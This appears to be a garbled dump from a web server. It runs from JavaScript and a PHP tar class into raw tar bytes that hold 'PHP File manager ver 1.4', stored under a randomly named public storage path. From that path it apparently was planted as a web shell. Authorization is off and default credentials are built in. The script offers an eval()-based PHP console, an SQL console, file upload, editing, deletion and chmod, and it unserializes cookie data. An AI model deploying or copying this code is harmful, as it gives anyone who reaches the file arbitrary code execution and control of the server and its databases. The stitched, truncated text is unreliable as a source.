    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>1o045.php.tar000064400000236000000000000000006554 0ustar00var/www/html/back/storage/app/public/85/w8zplf/1o045.php000064400000232666000000000000016455 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
